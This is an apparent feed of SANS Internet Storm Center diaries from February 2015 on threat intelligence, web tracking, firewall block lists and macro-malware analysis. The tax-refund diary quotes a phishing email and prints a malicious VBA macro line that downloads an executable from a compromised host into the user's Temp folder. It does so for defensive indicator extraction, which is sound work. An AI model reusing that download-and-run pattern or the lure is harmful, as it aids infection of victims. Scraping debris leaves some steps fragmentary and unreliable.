ISC StormCast for Friday, February 27th 2015 http://isc.sans.edu/podcastdetail.html?id=4375, (Fri, Feb 27th)
We do have a new way to search our data more efficiently by subnets. Right now, the data will cover recent reports to DShield and a few of external feeds that we include. You can access the new report here:https://isc.sans.edu/subnetquery.html
I am still monitoring the impact the queries have on our overall database performance. For now, you are limited to 3 queries per minute if you are not logged in.
And as a reminder: The data is only as good as the data we receive. Please consider contributing your own data. See https://isc.sans.edu/howto.html for details. We do also access web server error logs (see: 404 project) and Kippo SSH honeypot logs.
In case of high database load, you will beredirected back tot he index page (index_cached.html),
ISC StormCast for Thursday, February 26th 2015 http://isc.sans.edu/podcastdetail.html?id=4373, (Thu, Feb 26th)
The RedHat security team has released an advisoryon a Samba vulnerabilityeffecting Samba version 3.5.0 through 4.2.0rc4. It can be exploited by a malicious Samba client, by sending specially-crafted packets to the Samba server. No authentication is required to exploit this flaw. It can result in remotely controlled execution of arbitrary code as root. 
A patch  has been released by the Samba team to address the vulnerability.
Chris Mohan --- Internet Storm Center Handler on Duty(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Chris Mohan --- Internet Storm Center Handler on Duty(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
ISC StormCast for Wednesday, February 25th 2015 http://isc.sans.edu/podcastdetail.html?id=4371, (Wed, Feb 25th)
Thanks to Marco for sending us a sample of yet another piece of crypto-ransom malware. The file was retrieved after visiting a compromised site (www.my- sda24.com) . Interestingly, the malware itselfwas stored on copy.com.
Copy.com is a cloud based file sharing service targeting corporate users. It is run by Barracuda, a company also known for its e-mail and web filtering products that protect users from just such malware. To its credit, Barracuda removed the malware within minutes of Marco finding it.
At least right now, detection for this sample is not great. According to Virustotal, 8 out of 57 virus engines identify the file as malicious . A URL blacklist approach may identify the original site as malicious, but copy.com is unlikely to be blocked. It has become very popular for miscreants to store malicious files on cloud services, in particular if they offer free trial accounts. Not all of them are as fast as Barracudain removing these files.
There are a number of different use cases to track users as they use a particular web site. Some of them are more sinister then others. For most web applications, some form of session tracking is required to maintain the users state. This is typically easily done using well configured cookies (and not the scope of this article). Session are meant to be ephemeral and will not persist for long.
On the other hand, some tracking methodsdo attempt to track the user over a long time, and in particular attempt to make it difficult to evade the tracking. This is sometimes done for advertisement purposes, but can also be done to stop certain attacks like brute forcing or to identify attackers that return to a site. In its worst case, from a private perspective, the tracking is done to follow a user across various web sites.
Over the years, browsers and plugins have provided a number of ways to restrict this tracking. Here are some of the more common techniques how tracking is done and how the user can prevent (some of) it:1 - Cookies
Cookies are meant to maintain state between different requests. A browser will send a cookie with each request once it is set for a particular site. From a privacy point of view, the expiration time and the domain of the cookie are the most important settings. Most browsers will reject cookies set on behalf of a different site, unless the user permits these cookies to be set. A proper session cookie should not use an expiration date as it should expire as soon as the browser is closed. Most browser do offer means to review, control and delete cookies. In the past, a Cookie2 header was proposed for session cookies, but this header has been deprecated and browser stop supporting it.
Flash has its own persistence mechanism. These flash cookies are files that can be left on the client. They can not be set on behalf of other sites (Cross-Origin), but one SWF scriptcan expose the content of a LSO to other scripts which can be used to implement cross-origin storage. The best way to prevent flash cookies from tracking you is to disable flash. Managing flash cookies is tricky and typically does require special plugins.
https://helpx.adobe.com/flash-player/kb/disable-local-shared-objects-flash.html3 - IP Address
http://ipleak.net4 - User Agent
The User-Agent string sent by a browser is hardly ever unique by default, but spyware sometimes modifies the User-Agent to add unique values to it. Many browsers allow adjusting the User-Agent and more recently, browsers started to reduce the information in the User-Agent or even made it somewhat dynamic to match the expected content. Non-Spyware plugins sometimes modify the User-Agent to indicate support for specific features.5 - Browser Fingerprinting
A web browser is hardly ever one monolithic piece of software. Instead, web browsers interact with various plugins and extensions the user may have installed. Past work has shown that the combination of plugin versions and configuration options selected by the user tends to be amazingly unique and this technique has been used to derive unique identifiers. There is not much you can do to prevent this, other then minimize the number of plugins you install (but that may be an indicator in itself)
https://panopticlick.eff.org6 - Local Storage
HTML 5 offers two new ways to store data on the client: Local Storage and Session Storage. Local Storage is most useful for persistent storage on the client, and with that user tracking. Access to local storage is limited to the site that sent the data. Some browsers implement debug features that allow the user to review the data stored. Session Storage is limited to a particular window and is removed as soon as the window is closed.
https://html.spec.whatwg.org/multipage/webstorage.html7 - Cached Content
https://securehomes.esat.kuleuven.be/~gacar/persistent/index.html9 - Carrier Injected Headers
Verizon recently added injecting specific headers into HTTP requests to identify users. As this is done in flight, it only works for HTTP and not HTTPS. Each user is assigned a specific ID and the ID is injected into all HTTP requests as X-UIDH header. Verizon offers a for pay service that a web site can use to retrieve demographic information about the user. But just by itself, the header can be used to track users as it stays linked to the user for an extended time.
http://webpolicy.org/2014/10/24/how-verizons-advertising-header-works/10 - Redirects
This is a bit a varitation on the cached content tracking. If a user is redirected using a 301 (Permanent Redirect) code, then the browser will remember the redirect and pull up the target page right away, not visiting the original page first. So for example, if you click on a link to isc.sans.edu, I could redirect you to isc.sans.edu/index.html?id=sometrackingid. Next time you go to isc.sans.edu, your browser will automatically go direct to the second URL. This technique is less reliable then some of the other techniques as browsers differ in how they cache redirects.
https://www.elie.net/blog/security/tracking-users-that-block-cookies-with-a-http-redirect11- Cookie Respawning / Syncing
Some of the methods above have pretty simple counter measures. In order to make it harder for users to evade tracking, sites often combine different methods and respawn cookies. This technique is sometimes refered to as Evercookie. If the user deletes for example the HTTP cookie, but not the Flash Cookie, the Flash Cookie is used to re-create the HTTP cookie on the users next visit.
Any methods I missed (I am sure there have to be a couple...)
ISC StormCast for Tuesday, February 24th 2015 http://isc.sans.edu/podcastdetail.html?id=4369, (Tue, Feb 24th)
This question has come up a few times in my recent travels and it seemed like something to post for our readers, hope you find it useful, comments welcome!Overview
This will walk you through the steps of subscribing to our top 20 block list on a Palo Alto Networks firewall. It will also show you how to make a rule using the external block list. You can create a rule to block both inbound and outbound, however in this instruction it will include only an outbound rule. Any traffic transiting outbound from an internal host to this list on the top 20 should be considered suspect, prevented, and then investigated.
Our DShield Top 20 List can always be found here:
The source for the parsed and Palo Alto Networks formatted version of the DShield block list can be found here:
The full source of external block lists:
It is my understanding that this unofficial source is maintained by a Palo Alto Networks systems engineer, although this is not confirmed.
Creating the External Block List Subscription
1. Goto Objects -" />
2. Click Add
A. Name the External Block List Subscription (e.g. DShield Recommended Block List.)
B. Copy the preformatted subscription from our unofficial formatting app http://panwdbl.appspot.com/lists/dshieldbl.txt and paste into source block.
C. Click Test Source URL
You have just subscribed to an External Block List (EBL). Once an hour this subscription will poll the external block source and automatically update the subscription. This does not actually apply the feed to any rules or polices, in the next section we will create an outbound blocking rule looking for Indicators of Compromise.
There are several ways to use an EBL. One of the most common is to block/restrict on inbound flows, and although this should be done we will be using a different method for this example. In the creating the outbound rule section we will block and alert on outbound traffic from our L3-Trust to L3-Untrust (basically from our trusted internal zone to our untrusted external zone, your naming convention may differ). This will serve as a possible indicator of compromise (IoC).
On the topic of of IoC, let">YOU HAVE BEEN WARNED!!!!. Do not miss this step. Also for troubleshooting reasons if all your traffic stops after this walk-though, you can disable the rule and troubleshoot your External Block List.
1. Goto Policies - Security
2. Click Add
A. Give the Rule a Name (e.g. EBL DShield Rule)
B. Under the source tab select L3-Trust or your trusted internal zone name" />
C. Under the destination tab select L3-Untrustor your untrusted external zone.
D. " />
E. Under the actions tab change allow to deny. Optionally you can set logging to an external syslog here as well." />
F. Click okay.
G. Highlight the new rule, click move, which can be found at the bottom of the GUI, and select top. We are moving this rule to the top as we want to catch all attempts to reach the EBL outbound before any other rule is triggered.
H. ">NOTE: if you receive warning as indicated in the screenshot check your internet connection as it indicates that the EBL was not reachable. Also, some EBL have maximum polling counts and only allow refresh every so often (e.g. 1 hour). This could have been triggered when you tested the URL connection. These are two reasons why your EBL may not be reachable.
It is also possible to check the EBL on the CLI:
request system external-list refresh name
Section 2 Summary
Congratulations, you have just created a rule using an External Block List (EBL). This walk-through rule is designed to provide an example of blocking outbound connections to known suspicious netblocks.
ISC StormCast for Monday, February 23rd 2015 http://isc.sans.edu/podcastdetail.html?id=4367, (Mon, Feb 23rd)
Whether at the end of a project or at the end of your time with an organization, there are some low impact and high reward actions you can take to ensure that youleave things better than when you found them. Although it is not without risk for us as security professionals, if you have the opportunity it is ideal to spend time training your successor before you leave. Through a few intentional actions you can leave a legacy that can serve to inspire others to not only sustain but to actually improve operations.
This topic is particularly close to me now because I have recently started a new position. I had the opportunity to share my experience with others and found it to be rewarding and also a little uncomfortable for me and for the person who was assuming my duties. I found myself personally and professionally vested in the success of the program while recognizing that it was time for me to let go. There are of course certain circumstances that will prevent this sharing from happening. Sometimes policies will dictate that when someone resigns, the team membersare escorted from the premises right away.
Even in you are not making your next career move, maybe you are transitioning from a project and can use this time to help others. The following are some suggestions on what you can provide to your successor:
- Operational guides
- Original installation media
- Configuration checklists
- Installation guides along with clear documentation of any deviations from the vendorinstructions
- Lessons learned of things that must be done along with those that must *never* be done
- Key contacts to support sustaining the project such as administrators, change control tickets and project documentation
Even if you are not on the way out, I recommend that you begin with the end in mind today. Start by setting a monthly reminder on your work calendar to update and maintain your project or program documentation. You may very well recognize that the person thishelps the most is you!
Use the comments section to share what are you doing to leave things better than when you found them.
Securityeverafter gmail com
Authentication Bypass in TYPO3 CMS 4.5 - https://typo3.org/teams/security/security-bulletins/typo3-core/typo3-core-sa-2015-001/, (Sat, Feb 21st)
----------- Guy Bruneau IPSS Inc. gbruneau at isc dot sans dot edu(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
ISC StormCast for Friday, February 20th 2015 http://isc.sans.edu/podcastdetail.html?id=4365, (Fri, Feb 20th)
Its tax time and Im starting to see a lot of Phish/SPAM about this subject. Below is popular one the last couple of days.
">TA RTURN FOR E YE">RCLCULTION F YOUR R">HR">LOL OFFI">X REDI FFICR: Jimmie B">T REFUND ID NU">REFUND AOUN">D">The ntents f this emil and n attachmnts ar nfidentil and ">pliabl, yright in thse is resrvd t IRS Rvnu">Unless eprssl uthorised b us, any further diss">distributin of this mail r its ttahmnts is rhibited.
">If you are nt the intnded rcipint f this emil, pls re">infrm us tht u have rived this mil in error and th">delet it without retaining n o">I am snding this emil to annune: After the lst nnul lultin ">yur fiscl ctivit we hv determined that yu r ligibl">rive a tx refund ">Yu hav attahed the ta return form with the TX RFUND NUM">ID: 2440409, omplte the t rturn frm ttched to this mssag.
">Aftr mleting the form, ples submit th frm by clicking th">SUMI buttn n f">Sin">Jimmi ">IRS Tax Credit ">A RFUND ID: US2440409-IRS
"> yright 2015, IRS Rvenue m ust">ll rights r">======================
">With so many of these types of mails, analysis needs to be quick to determine who may have been affected. "> ">$mv tax_refund_2440409.zip MALWARE-tax_refund_2440409.zip
"> ">">inflating: [Content_Types].xml ">inflating: _rels/.rels ">inflating: word/_rels/document.xml.rels ">inflating: word/document.xml ">inflating: word/header3.xml ">inflating: word/footer2.xml ">inflating: word/footer1.xml ">inflating: word/header2.xml ">inflating: word/header1.xml ">inflating: word/endnotes.xml ">inflating: word/footnotes.xml ">inflating: word/footer3.xml ">inflating: word/theme/theme1.xml ">inflating: word/_rels/vbaProject.bin.rels ">inflating: word/vbaProject.bin ">">inflating: word/settings.xml ">inflating: word/vbaData.xml ">inflating: word/webSettings.xml ">inflating: word/styles.xml ">inflating: docProps/app.xml ">inflating: docProps/core.xml ">inflating: word/fontTable.xml
"> ">The vbaProject.bin is the code we want to look at and need to run strings on it.
">">">$someFilePath = ">...
">Within about 2 minutes I was able to determine some basic IOCs and sees if anyone actually accessed the site or tried to ping the address.
">If you want to dig deeper and spend a bit more time, you can install and configure oledump which was discussed on (hxxps://isc.sans.edu/diary/oledump+analysis+of+Rocket+Kitten+-+Guest+Diary+by+Didier+Stevens/19137).
">">A1: 556 PROJECT">A2: 71 PROJECTwm">A3: 97 UserForm1/\x01CompObj">A4: 266 UserForm1/\x03VBFrame">A5: 58 UserForm1/f">A6: 0 UserForm1/o">A7: M 25751 VBA/ThisDocument">A8: m 1159 VBA/UserForm1">A9: 4506 VBA/_VBA_PROJECT">A10: 811 VBA/dir
">$python oledump.py -s A7 -v MALWARE-tax_refund_2440409.doc
">">Print #FileNumber, strRT = + Chr(34) + h + Chr(Asc(Chr(Asc(t)))) + t + p + ://www.zaphira.de/wp-admin/includes/file + . + Chr(Asc(e)) + Chr(Asc(x)) + e">">Print #FileNumber, $someFilePath = c:\Users\ + USER + \AppData\Local\Temp\ + 444.e Chr(Asc(x)) + e
">In this case, oledump gave us a lot more info, but proves we were on the right track with simple strings of the file. Additionally, we can see an infected user may have a file called 444.exe . There are lots more local IOCs we could create, but with the few network IOCs we can get fast idea of possible affected users.
Tom Webb(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
ISC StormCast for Thursday, February 19th 2015 http://isc.sans.edu/podcastdetail.html?id=4363, (Thu, Feb 19th)
ISC reader Zach reports that his company currently sees about 4Gbps of DNS requests beyond what is normal, and all seem to originate from 188.8.131.52/24. Yup, someone on that IP range in Poland is likely having a slow network day.
To make it less likely that your DNS servers unwittingly participate in a denial of service attack against someone else, consider using rate-limiting. If you are not running a massively popular eCommerce site, odds are your bandwidth and the load limit of your DNS server are way way beyond what you actually need.
The easiest way to rate-limit (if you use Linux) is to put an iptables rule on port 53 that controls how many packets per source IP address will be accepted per minute. BIND, one of the most popular DNS servers, introduced a response rate-limiting option in version 9.10 that allows to define how many responses per second the server will provide before it punts. Both are good ideas if you run an authoritative DNS server that has way more bandwidth and muscle than your actual usage requires.(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
Yes indeed! While the past 15 years or so were mostly devoid of any significant macro viruses, macro-based malware is now making a successful comeback. Last week, we saw a significant Dridex malware run that was using macros in Excel files (.XLSM), and earlier this week, the crooks behind the banking spyware Vawtraq started to spam the usual Fedex Package and Tax Refund emails, but unlike in other malspam runs, the attachment was no longer a ZIP with an EXE or SCR inside, but rather a file in Microsoft Office .DOC format. File extension based blocking on the email gateway is not going to save your bacon on this one!
For Vawtraq, if the recipient opens the DOC, the content looks garbled, and the only readable portion is in (apparently) user-convincing red font, asking the recipient to enable macros. You can guess what happens next if the user falls for it...: A VBS and Powershell file get extracted from the DOC, and then download and run the Vawtraq malware executable. The whole mess has very low detection in anti-virus, yesterdays Vawtraq started with zero hits on VirusTotal, and even today, one day later, it hasnt made it past 7/52 anti-virus engines detecting the threat yet. Thus, odds are you will need to revert to manual analysis to determine if a suspicious Office document is indeed malicious, and to extract any indicators from it that can help to discover users on your network who have been had.
Besides Didier Stevens oledump that we covered last month, my favorite toolkit for this analysis is the python-oletools package by Philippe Lagadec. olevba in particular does a great job at parsing out all the obfuscated code, and is often even able to extract actionable indicators of compromise (IOC), like URLs and IP addresses. The example below is an abbreviated olevba analysis of a recent Dridex run, and it nicely shows how the next stage URL and EXE name are pulled out in one quick swoop. Give it a try!
" />(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
ISC StormCast for Wednesday, February 18th 2015 http://isc.sans.edu/podcastdetail.html?id=4361, (Wed, Feb 18th)
Both the mainstream media and our security media is abuzz with Kasperksys disclosure of their research on the Equation group and the associated malware. You can find the original blog post here: http://www.kaspersky.com/about/news/virus/2015/equation-group-the-crown-creator-of-cyber-espionage
But if you want some real detail, check out the Q http://securelist.com/files/2015/02/Equation_group_questions_and_answers.pdf
Way more detail, and much more sobering to see that this group of malware goes all the way back to 2001, and includes code to map disconnected networks (using USB key CC like Stuxnet did), as well as the disk firmware facet thats everyones headline today.
Some Indicators of Compromise, something we can use to identify if our organizations or clients are affected - are included in the PDF. The DNS IoCs included are especially easy to use, either as checks against logs or as black-hole entries.